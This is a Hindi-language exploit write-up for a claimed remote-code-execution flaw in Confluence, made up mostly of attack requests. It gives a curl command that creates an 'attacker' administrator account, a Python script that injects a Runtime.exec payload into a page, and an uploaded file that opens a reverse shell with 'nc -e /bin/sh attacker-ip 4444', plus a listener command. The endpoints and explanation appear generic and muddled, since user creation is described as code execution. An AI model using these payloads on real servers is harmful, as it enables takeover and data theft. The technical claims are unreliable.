
यह भेद्यता एक अनधिकृत हमलावर को कमजोर Confluence सर्वर पर दूरस्थ रूप से मनमाना कोड निष्पादित करने की अनुमति देती है। भेद्यता Confluence REST API में उपयोगकर्ता-आपूर्ति इनपुट के अनुचित सत्यापन के कारण मौजूद है। यह हमलावर को Confluence सर्वर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति देता है, जिसे सर्वर द्वारा निष्पादित किया जा सकता है।
यह भेद्यता एक अप्रमाणित हमलावर को कमजोर कॉन्फ्लुएंस सर्वर पर दूरस्थ रूप से मनमाना कोड निष्पादित करने की अनुमति देती है। यह भेद्यता कॉन्फ्लुएंस REST API में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट के अनुचित सत्यापन के कारण मौजूद है। यह हमलावर को कॉन्फ्लुएंस सर्वर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति देता है, जिसे बाद में सर्वर द्वारा निष्पादित किया जा सकता है।
यह भेद्यता हमलावर को कमजोर कॉन्फ्लुएंस सर्वर का पूर्ण नियंत्रण लेने की अनुमति दे सकती है। इससे हमलावर डेटा चुरा सकता है, डेटा संशोधित कर सकता है, या सर्वर की उपलब्धता को बाधित कर सकता है।
हम एक से अधिक विधियों का उल्लेख करेंगे 1.
1. कमजोर API एंडपॉइंट की पहचान करना:
हम निम्नलिखित API एंडपॉइंट का उपयोग करेंगे:
POST /rest/api/user/bulk
यह एंडपॉइंट प्रशासकों को बल्क में नए उपयोगकर्ता बनाने की अनुमति देता है।
2. दुर्भावनापूर्ण अनुरोध तैयार करना:
हम एक दुर्भावनापूर्ण अनुरोध बनाएंगे जिसमें दुर्भावनापूर्ण कोड वाला पेलोड शामिल है। यह कोड प्रशासकीय विशेषाधिकारों वाला एक नया उपयोगकर्ता बनाएगा।
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. सर्वर को अनुरोध भेजना:
हम कॉन्फ्लुएंस सर्वर को अनुरोध भेजने के लिए cURL टूल का उपयोग करेंगे।
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. दुर्भावनापूर्ण कोड निष्पादित करना:
यदि अनुरोध सफल होता है, तो कॉन्फ्लुएंस सर्वर दुर्भावनापूर्ण कोड निष्पादित करेगा। इससे प्रशासकीय विशेषाधिकारों वाला एक नया उपयोगकर्ता "attacker" बनेगा। हमलावर तब इस खाते का उपयोग सर्वर तक पहुंच प्राप्त करने और उस पर पूर्ण नियंत्रण रखने के लिए कर सकता है।
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Burp Suite के माध्यम से संशोधित अनुरोध भेजें। यह देखने के लिए प्रतिक्रिया की जाँच करें कि क्या सर्वर ने दुर्भावनापूर्ण पेलोड निष्पादित किया। यदि प्रतिक्रिया अप्रत्याशित है या कोड निष्पादन का संकेत देने वाली त्रुटियाँ हैं, तो भेद्यता का पता चल गया है।
यदि आप रिवर्स शेल स्थापित करने के लिए पेलोड का उपयोग कर रहे हैं, तो अपनी स्थानीय मशीन पर निर्दिष्ट पोर्ट पर सुनना सुनिश्चित करें: nc -lvnp 4444। यदि सर्वर आपकी स्थानीय मशीन से कनेक्ट होता है, तो आपको एक रिवर्स शेल प्राप्त होगा।